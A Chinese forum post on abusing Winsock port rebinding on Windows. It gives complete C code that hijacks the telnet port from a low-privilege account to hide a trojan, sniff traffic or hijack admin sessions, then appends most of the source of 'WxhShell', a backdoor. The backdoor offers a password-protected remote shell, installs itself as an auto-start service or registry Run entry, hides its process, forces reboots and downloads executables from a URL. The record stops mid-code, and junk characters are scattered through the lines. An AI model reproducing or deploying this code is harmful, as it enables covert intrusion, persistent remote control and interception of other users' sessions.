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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ot"(uW4$[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A'(k Yc  
vev8l\  
  saddr.sin_family = AF_INET; ,XP@ pi  
!j'guT&9]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  m"1 ?  
o}W7.7^2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L/%xbm~  
C890+(D~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E<P*QZ-C3  
4t(QvIydA  
  这意味着什么?意味着可以进行如下的攻击: 2f /bEpi  
|O^V)bZmx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \!6t  
(N9`WuI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .y(@Y6hO  
^W{eO@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Is~yVB02  
@~Rk^/0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?##y`.+O  
-kt1t@O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _2xuzmz0  
@u7%B}q7:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T)*l' g'  
uFa-QG^Y{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i@%L_[MtA  
$jDD0<F.#  
  #include ;vZ*,q6  
  #include l$qmn$Uc  
  #include ]lC4+{V  
  #include    <4SF~i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~c'\IM  
  int main() I\)N\mov e  
  { +# A|Zp<  
  WORD wVersionRequested; jh-kCF  
  DWORD ret; mRNHq3  
  WSADATA wsaData; X@G[=Rs  
  BOOL val; ZO]E@?Oav  
  SOCKADDR_IN saddr; )E_!rR  
  SOCKADDR_IN scaddr; _p?I{1O  
  int err; uV#-8a5!  
  SOCKET s; </~1p~=hAt  
  SOCKET sc; 1j8/4:  
  int caddsize; Cf.WO%?P  
  HANDLE mt; thR|h+B  
  DWORD tid;   +X{cN5Y K  
  wVersionRequested = MAKEWORD( 2, 2 ); UX+?0K  
  err = WSAStartup( wVersionRequested, &wsaData ); F12S(5Z0%  
  if ( err != 0 ) { 6i55Ja  
  printf("error!WSAStartup failed!\n"); oKZ[0(4<  
  return -1; WIhIEU7/  
  } _q2`m  
  saddr.sin_family = AF_INET; 7UY('Q[  
   pyGFDB5_P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &FT5w T  
qLU15cOM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ul7,k\q@  
  saddr.sin_port = htons(23); YeR7*[l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) noWRYS%  
  { >I R` ]  
  printf("error!socket failed!\n"); pU[a[  
  return -1; t>fA!K%{  
  } n C\(+K1%  
  val = TRUE; +<vqkc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )@?Qt2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fLf#2EA  
  { jauc*347  
  printf("error!setsockopt failed!\n"); &^"s=g.  
  return -1; +A;n*DF2  
  } + ;{rU&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,=x.aX Spz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ixoMccU0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $L $j KNwf  
S+4I[|T]Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YLr%vnO*NS  
  { >& 4I.nA  
  ret=GetLastError(); _CYmG"mY  
  printf("error!bind failed!\n"); Y,p2eAss  
  return -1; hJs&rpN  
  } W\ZV0T;<]  
  listen(s,2); fwz5{>ON]  
  while(1) c=uBT K*  
  { Zi15wE  
  caddsize = sizeof(scaddr); 1D#T+t`[  
  //接受连接请求 KR+aY.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7l4InR]  
  if(sc!=INVALID_SOCKET) |~1rKzZwF  
  { 5+#?7J1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 10a=YG  
  if(mt==NULL) "1=.5:yG  
  { D~t"9Z\  
  printf("Thread Creat Failed!\n"); |>m# m*{S  
  break; ?ZD{e|:u  
  } rVc zO+E  
  } NG4eEnic!a  
  CloseHandle(mt); QqT6P`0u  
  } 4rGO8R  
  closesocket(s); 4OB~h]Vc  
  WSACleanup(); y"%iD`{  
  return 0; kM}ic(K  
  }   c+YYM :S  
  DWORD WINAPI ClientThread(LPVOID lpParam) Xv<;[vq}F  
  { v{\n^|=])  
  SOCKET ss = (SOCKET)lpParam; N23+1h  
  SOCKET sc; B[2h   
  unsigned char buf[4096]; _ cHV3cz  
  SOCKADDR_IN saddr; Dg];(c+/  
  long num;  `i_L?C7  
  DWORD val; 9|?(GG  
  DWORD ret; 9Le/'ovq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v\r7.l:hf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R-0_226  
  saddr.sin_family = AF_INET; 071E%u,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NC[GtAPD3  
  saddr.sin_port = htons(23); 6O[wVaC1u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A(_^_p.|  
  { ,sQ0atk7ma  
  printf("error!socket failed!\n"); Ra15d^  
  return -1; 2rE~V.)%  
  } !D|pbzQc8  
  val = 100; yScov)dp(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $=S'#^Z  
  { R)DNFc:  
  ret = GetLastError(); IJb1) ZuR  
  return -1; CzDR%vx  
  } 3 MI) E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EY[Q%  
  { Bb2r95h}^  
  ret = GetLastError(); dOYmt,  
  return -1; 2 |kH%  
  } DRFuvU+e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X?k V1  
  { 4q 2=:"z4  
  printf("error!socket connect failed!\n"); GwIfGixqH  
  closesocket(sc); JWm^RQ  
  closesocket(ss); fuIv,lDA  
  return -1; \Z7([Gh  
  } <PuB3PEvV  
  while(1) Y|qixpP  
  { 9OO_Hp#|9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BD-c 0-+m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lb3K};SIV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2 vJ[vsrFv  
  num = recv(ss,buf,4096,0); B$[%pm`'2  
  if(num>0) $y]||tX  
  send(sc,buf,num,0); ^5'/ }iR2N  
  else if(num==0) O%q;,w{prW  
  break; O|7{%5h  
  num = recv(sc,buf,4096,0); Ns(L1'9=  
  if(num>0) & 4Iqm(  
  send(ss,buf,num,0); ,mBKya)  
  else if(num==0) i[BR(D&l_p  
  break; _XO)`D~  
  } ?M{ 6U[?  
  closesocket(ss); BC0c c[x  
  closesocket(sc); 6/WK((Fd  
  return 0 ; la"A$Tbu~  
  } G*w W&R)  
MnrGD>M@|  
Z!=Pc$?  
========================================================== D A)0Y_  
yU8Y{o;:  
下边附上一个代码,,WXhSHELL +]~w ?^h  
8UY=}R2C  
========================================================== pQ-^T.'  
36A.h,~  
#include "stdafx.h" oTV8rG  
'Tan6 Qa  
#include <stdio.h> mEc;-b f  
#include <string.h> $CYpO}u#  
#include <windows.h> pN f9  
#include <winsock2.h> 'V9aB5O&  
#include <winsvc.h> E<G@LT  
#include <urlmon.h> JLV}Fw  
1S.e5{  
#pragma comment (lib, "Ws2_32.lib") qLi1yH  
#pragma comment (lib, "urlmon.lib") j{w,<Wt>  
t~W4o8<w  
#define MAX_USER   100 // 最大客户端连接数 n; '~"AG)  
#define BUF_SOCK   200 // sock buffer ~Z/`W`  
#define KEY_BUFF   255 // 输入 buffer ~JRu MP  
8sjHQ)<  
#define REBOOT     0   // 重启 6l]?%0[*  
#define SHUTDOWN   1   // 关机 Jz3<yQ-  
x^#{2}4u  
#define DEF_PORT   5000 // 监听端口 PdN\0B `  
a.U:B [v`  
#define REG_LEN     16   // 注册表键长度 Gv nclnG  
#define SVC_LEN     80   // NT服务名长度 V7'x? pt  
r ~!%w(N|M  
// 从dll定义API pmD-]0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KA{DN!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GvtI-\h]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V5@[7ncVf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <l s/3!  
>W]"a3E  
// wxhshell配置信息 9X&qdA/q  
struct WSCFG { F$yFR  
  int ws_port;         // 监听端口 U)=Z&($T  
  char ws_passstr[REG_LEN]; // 口令 ao5yW;^y  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^V,/4u  
  char ws_regname[REG_LEN]; // 注册表键名 *>*/|  
  char ws_svcname[REG_LEN]; // 服务名 ?,e:c XhE2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >Pd23TsN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JP*wi-8D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y'H/ $M N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PL_wa(}y]D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3rdxXmx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T q; "_s  
SK}g(X7IWH  
}; kQ'xs%Fw  
? /X6x1PN  
// default Wxhshell configuration x]+KO)I  
struct WSCFG wscfg={DEF_PORT, Y +yvv{01  
    "xuhuanlingzhe", n.UM+2G  
    1, !4cdP2^P  
    "Wxhshell", OxGCpbh*7o  
    "Wxhshell", G:ngio]G0  
            "WxhShell Service", Z5a@fWU  
    "Wrsky Windows CmdShell Service", 1% %Tm"  
    "Please Input Your Password: ", 7Bd_/A($  
  1, kL2sJX+  
  "http://www.wrsky.com/wxhshell.exe", :+^llz  
  "Wxhshell.exe" x(N} ^Hu  
    }; X.Y)'qSf  
R* G>)YH  
// 消息定义模块 /Z_ [)PTH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gm$MEeC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I2!HXMrp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4n)Mx*{  
char *msg_ws_ext="\n\rExit."; 7TY"{? ~O5  
char *msg_ws_end="\n\rQuit."; #l% \}OC  
char *msg_ws_boot="\n\rReboot..."; ouZ9oy(}a  
char *msg_ws_poff="\n\rShutdown..."; v86`\K*0Y  
char *msg_ws_down="\n\rSave to "; x&b-Na3Xi  
'=Y~Ir+  
char *msg_ws_err="\n\rErr!"; SFNd,(kB*z  
char *msg_ws_ok="\n\rOK!"; DOU?e9I2  
7+r5?h|  
char ExeFile[MAX_PATH]; 4\WkXwoqQO  
int nUser = 0; buyz>IC P  
HANDLE handles[MAX_USER]; b:I5poI3  
int OsIsNt; D5vtZu!"  
RtQfE+  
SERVICE_STATUS       serviceStatus; emIbGkH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pg C]@Q%  
n:)Y'52}  
// 函数声明 {X"]92+  
int Install(void); dg8\(G  
int Uninstall(void); 9Bw5 t@  
int DownloadFile(char *sURL, SOCKET wsh); 1/J*ki+?  
int Boot(int flag); r_RTtS#  
void HideProc(void); h!%`odl%  
int GetOsVer(void); , .F+x}  
int Wxhshell(SOCKET wsl); v!C+W$,T  
void TalkWithClient(void *cs); Gw,kC{:C  
int CmdShell(SOCKET sock); {moNtzE;  
int StartFromService(void); Fa^]\:  
int StartWxhshell(LPSTR lpCmdLine); p}X87Zq  
l(4./M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,Gx=e!-N5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "g[UX{L  
3iL&;D  
// 数据结构和表定义 iiB$<b.((I  
SERVICE_TABLE_ENTRY DispatchTable[] = rWmi 'niu  
{ tJ=zk3BN~  
{wscfg.ws_svcname, NTServiceMain}, M)Q+_c2*  
{NULL, NULL} eA^|B zU  
}; @eU/g![u  
UbH=W(%  
// 自我安装 ka [NYW{.  
int Install(void) P*sCrGO%  
{ K6hN N$F!  
  char svExeFile[MAX_PATH]; +q%goG8  
  HKEY key; PyE<`E  
  strcpy(svExeFile,ExeFile); #+nv,?@  
<N&f >7  
// 如果是win9x系统,修改注册表设为自启动 `d#_66TLr  
if(!OsIsNt) { +=$G6uR$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j'n= Xh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n8,/olqwW  
  RegCloseKey(key); QV1%Zou  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Us.jyg7_c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Xc%%j  
  RegCloseKey(key); ghiElsBU  
  return 0; :gv#_[k  
    } 8G<.5!f7`N  
  } -3 Hq1  
} Mpx.n]O.  
else { \ziF(xTvqG  
FgaBwd^W  
// 如果是NT以上系统,安装为系统服务 jX@9849@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]0E-lD0J  
if (schSCManager!=0) T+hW9pa)  
{ =v9;HPiO  
  SC_HANDLE schService = CreateService SBt: `,  
  ( <0}'#9>O  
  schSCManager, z0Hh8*  
  wscfg.ws_svcname, 0l*/_;wo  
  wscfg.ws_svcdisp, aR $P}]H  
  SERVICE_ALL_ACCESS, +M:Q!'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;_*F [ }w  
  SERVICE_AUTO_START, K)OlCpHc  
  SERVICE_ERROR_NORMAL, %Kp}Wo6  
  svExeFile, eD0@n :  
  NULL, k/O&,T77}J  
  NULL, en)DN3  
  NULL, b L~<~gA  
  NULL, eyV904<F  
  NULL qsx1:Ny 1  
  ); ktRdf6:~  
  if (schService!=0) )=@ XF0  
  { \ 3N#%  
  CloseServiceHandle(schService); s#3{c@^3  
  CloseServiceHandle(schSCManager); :8g \B{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oY:>pxSz<@  
  strcat(svExeFile,wscfg.ws_svcname); K.~U%v}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5N/;'ySAE_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) |a5Qxz  
  RegCloseKey(key); +0DIN4Y(4  
  return 0; ~Ji A  
    } _u; UU$~  
  } HL]?CWtGP  
  CloseServiceHandle(schSCManager); xm5D$m3#  
} P2kZi=0  
} huIr*)r&p  
lvlH5Fc  
return 1; %iv'/B8  
} P@#6.Bb#V  
&\r%&IX/  
// 自我卸载 DS fKUx&  
int Uninstall(void) \ZB;K~BV&  
{ Ycwb1e#  
  HKEY key; o hCPNm  
&V L<Rx  
if(!OsIsNt) { .Pi67Kj,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Ko )Z&j9W  
  RegDeleteValue(key,wscfg.ws_regname); cae}dHG2  
  RegCloseKey(key); TXM.,5Dx\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *(rE<  
  RegDeleteValue(key,wscfg.ws_regname); l{4\Wn Va  
  RegCloseKey(key); *?K=;$  
  return 0; 4=Zlsp  
  } _1~Sj*  
} F)G#\r  
} (@Bm2gH  
else { FW4 hqgE@  
aum,bm/0J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ia[wVxd  
if (schSCManager!=0) ]F~5l?4u#  
{ Gmb57z&:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t +_G%tv  
  if (schService!=0) -uZ^UG!K  
  { ~+F: QrXcI  
  if(DeleteService(schService)!=0) { {mDaK&]Oh  
  CloseServiceHandle(schService); +Muyp]_  
  CloseServiceHandle(schSCManager); ;&!l2UB%  
  return 0; ~oI49Q&{  
  } /zWWUl`:  
  CloseServiceHandle(schService); #LZ`kSlv4  
  } = N#WwNC  
  CloseServiceHandle(schSCManager); 3^\y>  
} Y'P8`$  
} g6farLBF  
S.z;Bm  
return 1;  7)T+!>  
} b#M<b.R)  
*QVE>{  
// 从指定url下载文件 Am0$UeSZ  
int DownloadFile(char *sURL, SOCKET wsh) T]xGE   
{ =%p"oj]:  
  HRESULT hr; M\%{!Wzo8  
char seps[]= "/"; ocMf}"  
char *token; 4 R]|  
char *file; > h9U~#G=  
char myURL[MAX_PATH]; tv0xfAV  
char myFILE[MAX_PATH]; g 0L 4  
O]>Or3oO  
strcpy(myURL,sURL); km^AX:r1  
  token=strtok(myURL,seps); z(ajR*\#  
  while(token!=NULL) B@4#y9`5  
  { G~PP1sf  
    file=token; $#!~K2$  
  token=strtok(NULL,seps); & 2b f  
  } >dM'UpN@  
Wwz>tE  
GetCurrentDirectory(MAX_PATH,myFILE); PIA&s6U  
strcat(myFILE, "\\"); 3B0%:Jj  
strcat(myFILE, file); ;# {x_>M  
  send(wsh,myFILE,strlen(myFILE),0); (7IF5g\  
send(wsh,"...",3,0);  LCG<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _YY)-H  
  if(hr==S_OK) }LRAe3N%8  
return 0; I4*N  
else ^Iz.O  
return 1; sw&Qks? V  
v6GWD}HH,  
} Zj JD@,j  
%F7aFvl*  
// 系统电源模块 ^ey\ c1K  
int Boot(int flag) WM#!X!Vo  
{ IH0Uq_  
  HANDLE hToken; 0C7"*H0 R  
  TOKEN_PRIVILEGES tkp; bhI8b/  
4eKJ\Q=nX5  
  if(OsIsNt) { )-9/5Z0v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &`9lIVB,K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fVkl-<?x  
    tkp.PrivilegeCount = 1; BK +JHT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h3:,Gbyap  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~7m+cWC-+  
if(flag==REBOOT) { CR/LV]G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e D}Ga4  
  return 0; 4ldN0 _T5  
} R[Rs2eS_  
else { ,To ED  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mk?9`?g.  
  return 0; zh6so.  
} ~q/`Z)(yc  
  } *cd9[ ~  
  else { 5mV'k"Om#"  
if(flag==REBOOT) { :+6m<?R)T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "[%NXan  
  return 0; j}|6k6t  
} /; _"A)0  
else { Ze~\=X" "  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HG^8&uh]  
  return 0; hk=+t&Y<H  
} D&'".N,}  
} [:o#d`^  
~5|a9HV:  
return 1; ^mGTZxO  
} _V;J7Vz  
wjl? @K  
// win9x进程隐藏模块 Kb}N!<Z*  
void HideProc(void) 4b#YpK$7U  
{ }A#FGH +  
>?kt3.IQ!X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YONg1.^!(  
  if ( hKernel != NULL ) JmBYD[h,  
  { *)w 8fq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J:>TV.TP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1?*vqdt  
    FreeLibrary(hKernel); u/MIB`@,  
  } * T-XslI  
*8Lym,]  
return; kTzZj|l^\  
} PvM<#zq_  
WgjaMmht  
// 获取操作系统版本 8FMP)N4+  
int GetOsVer(void) FrVD~;  
{ d<whb2l  
  OSVERSIONINFO winfo; V +hV&|=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J@$>d  
  GetVersionEx(&winfo); uIR_p \)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X@cV']#V  
  return 1; "ZH1W9A  
  else =gj]R  
  return 0; )FB)ZK;  
} 4Qw!YI#40$  
Jn&(v"_  
// 客户端句柄模块 |k^X!C0  
int Wxhshell(SOCKET wsl) 3B_S>0H"$  
{ LWW0lG!_F  
  SOCKET wsh; Wbc % G8  
  struct sockaddr_in client; Fb_~{q  
  DWORD myID; o(a*Fk$  
I5e!vCG)  
  while(nUser<MAX_USER) ^c2 8Q.<w(  
{ ]s<Q-/X  
  int nSize=sizeof(client); aH:eu<s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ji7A9Hk  
  if(wsh==INVALID_SOCKET) return 1; %~eZrG.  
CocvEoE*z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E 1>3[3  
if(handles[nUser]==0) ~r{Nc j  
  closesocket(wsh); u%T.XgY=j  
else s_]rje8`  
  nUser++; F'"-4YV>&  
  } bkY7]'.bz&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _x:K%1_[  
?=\h/C  
  return 0; ve>8vw2  
} Ar\`OhR  
#3qkG)  
// 关闭 socket {u!,TDt*  
void CloseIt(SOCKET wsh) g'IS8@  
{ &r_:n t  
closesocket(wsh); 5ogbse"  
nUser--; ;eWVc;H  
ExitThread(0); O[ N{&\$  
} s*VZLKO  
tkd2AMkh!  
// 客户端请求句柄 u!F3Rh8D  
void TalkWithClient(void *cs) wwF20  
{ FNZnz7  
Yu8WmX,[  
  SOCKET wsh=(SOCKET)cs; "BTA"  
  char pwd[SVC_LEN]; \h"s[G zq  
  char cmd[KEY_BUFF]; 10a=[\ Q  
char chr[1]; F6fm{  
int i,j; F'Wef11Yz  
{}.c.W+  
  while (nUser < MAX_USER) { T$+}Srb  
Z,!Rj7wZ  
if(wscfg.ws_passstr) { 7`P(LQAr!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); alq>|,\x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I5-/K VWb  
  //ZeroMemory(pwd,KEY_BUFF); C[[z3tn  
      i=0; q-uYfXZ{j  
  while(i<SVC_LEN) { y(q1~73s  
]CTu |  
  // 设置超时 #-@dc  
  fd_set FdRead; K%Rx5 S  
  struct timeval TimeOut; ' rXkTm1{  
  FD_ZERO(&FdRead); 0z,c6MjM+  
  FD_SET(wsh,&FdRead); &^z~wJ,]  
  TimeOut.tv_sec=8; G;tIhq[$Vb  
  TimeOut.tv_usec=0; lte~26=e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 44n^21k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t4,6`d?C  
zJ#q*2A(Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MRiETd"  
  pwd=chr[0]; ysSEgC3  
  if(chr[0]==0xd || chr[0]==0xa) { Q:%gJ6pa  
  pwd=0; Zaq:l[%  
  break; @ws3X\`<C  
  } c|I{U[(U  
  i++; xOS4J+'s@  
    } LEk W^Mv  
^*Ca+22xO  
  // 如果是非法用户,关闭 socket |vGz 1jLV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D F0~A  
} 2#sE\D  
p[W8XX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1N2:4|woe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N<?RN;M  
5 1 L:%Af  
while(1) { br0gB3 r  
{lqnn n3  
  ZeroMemory(cmd,KEY_BUFF); g6nBu  
mvYr"6f8  
      // 自动支持客户端 telnet标准   }J:~}?^%n  
  j=0; y\ouIsI77  
  while(j<KEY_BUFF) { 96 C|R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n#m )]YQC  
  cmd[j]=chr[0]; b`1P%OjC  
  if(chr[0]==0xa || chr[0]==0xd) { h v9s  
  cmd[j]=0; E4WoKuE1$  
  break; lS}5bcjR=k  
  } UP#]n 69y  
  j++; {N>VK*  
    } R_(A&,  
PF4Cs3m/  
  // 下载文件 2<<,aL*  
  if(strstr(cmd,"http://")) { YsLEbue   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZJd1Lx   
  if(DownloadFile(cmd,wsh)) k~:B3p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_W<BXW  
  else {L3lQ8Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jH \@Oc;7  
  } '%)7%O,2  
  else { cl^tX%  
c6Wy1d^  
    switch(cmd[0]) { N=-hXgX^  
  UiW( /L  
  // 帮助 )(y&U  
  case '?': { bp;)*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N!$y`nwiw'  
    break; /J1O{L  
  } C <]rY  
  // 安装 0;o`7f  
  case 'i': { hO\_RhsRy?  
    if(Install()) (5VP*67  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;clF\K>  
    else ]yA| m3^2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :MpIx&  
    break; !*N#}6Jd  
    } L;>tuJY1  
  // 卸载 oE)tK1>;H  
  case 'r': { YI&7s_% -  
    if(Uninstall()) ]w! x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4RJ8 2yq-  
    else fok OjTE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6?z&G6  
    break; 91`biVZfA  
    } G+=&\+{#4  
  // 显示 wxhshell 所在路径 8la.N*  
  case 'p': { #;>J<>  
    char svExeFile[MAX_PATH]; uB0/H=<H  
    strcpy(svExeFile,"\n\r"); y~''r%]   
      strcat(svExeFile,ExeFile); NSj}?hz  
        send(wsh,svExeFile,strlen(svExeFile),0); Lab{?!E>U  
    break; ~%(r47n  
    } 61b,+'-  
  // 重启 ;OE{&  
  case 'b': { NC|&7qQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |$^,e%bE  
    if(Boot(REBOOT)) X 1^f0\k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l 8n#sGA%  
    else { ]g!k'@  
    closesocket(wsh); QV7K~qi  
    ExitThread(0); }[$C=|>  
    } 5c`DkWne%  
    break; v~uQ_ae$>  
    } 8kX3.X`  
  // 关机 %TvunV7NQS  
  case 'd': { @D Qg1|m  
